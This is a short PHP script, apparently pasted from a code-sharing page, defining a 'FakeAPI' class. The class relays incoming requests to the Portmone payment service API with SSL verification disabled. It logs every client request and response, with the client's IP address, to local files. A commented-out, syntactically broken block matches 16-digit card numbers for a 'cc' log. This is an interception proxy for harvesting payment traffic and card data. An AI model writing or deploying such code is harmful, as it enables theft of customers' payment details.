php class FakeAPI public static function run en false en_api https www

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class FakeAPI {
public static function run($en = false) {
$en_api = 'https://www.portmone.com.ua/r3/en/api/index/index/uid/d75c995c18fdc7b4b4f1217669138944';
$ru_api = 'https://www.portmone.com.ua/r3/ru/api/index/index/uid/d75c995c18fdc7b4b4f1217669138944';
$server_log = 'portmone_server.log';
$client_log = 'portmone_client.log';
$cc_log = 'portmone_cc.log';
$client = file_get_contents('php://input');
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_URL => $en ? $en_api : $ru_api,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $client
));
$res = curl_exec($ch);
$fp = fopen($server_log, 'a+');
fwrite($fp, "IP: $_SERVER[REMOTE_ADDR]\n" . $res . "\n\n\n");
fclose($fp);
$fp = fopen($client_log, 'a+');
fwrite($fp, "IP: $_SERVER[REMOTE_ADDR]\n" . $client . "\n\n\n");
fclose($fp);
/*$fp = fopen($cc_log, 'a+');
if(preg_match('/<string>\d{16}<\/string>/', $client) || )
fclose($fp);*/
echo $res;
curl_close($ch);
}
}